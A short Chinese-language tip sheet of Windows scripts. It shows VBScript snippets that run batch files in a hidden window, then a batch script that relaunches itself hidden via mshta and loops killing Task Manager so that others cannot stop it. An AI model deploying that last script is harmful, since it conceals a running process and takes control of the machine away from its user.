法一:
DIM objShell
set objShell=wscript.createObject("wscript.shell")
iReturn=objShell.Run("cmd.exe /C 1.bat", 0, TRUE)
iReturn=objShell.Run("cmd.exe /C 2.bat", 0, TRUE)
存为1.vbs
注:此方法是运行1.bat等1.bat结束后才运行2.bat,如不需要请删除2.bat
方法2:
Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c 1.bat",vbhide
ws.run "cmd /c 2.bat",vbhide
Set ws=Nothing
注:此方法是同时运行1.bat和2.bat
@echo off
if "%1" == "h" goto icl
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:icl
rem 开始你的命令
for /l %%i in (1,1,255) do taskkill /f /im taskmgr.exe>nul 2>nul&ping 127.0.1 /n 1>nul
goto icl
rem 强制杀掉任务管理器(慎用)
这是为了防止别人CTRL+C终止掉你的批处理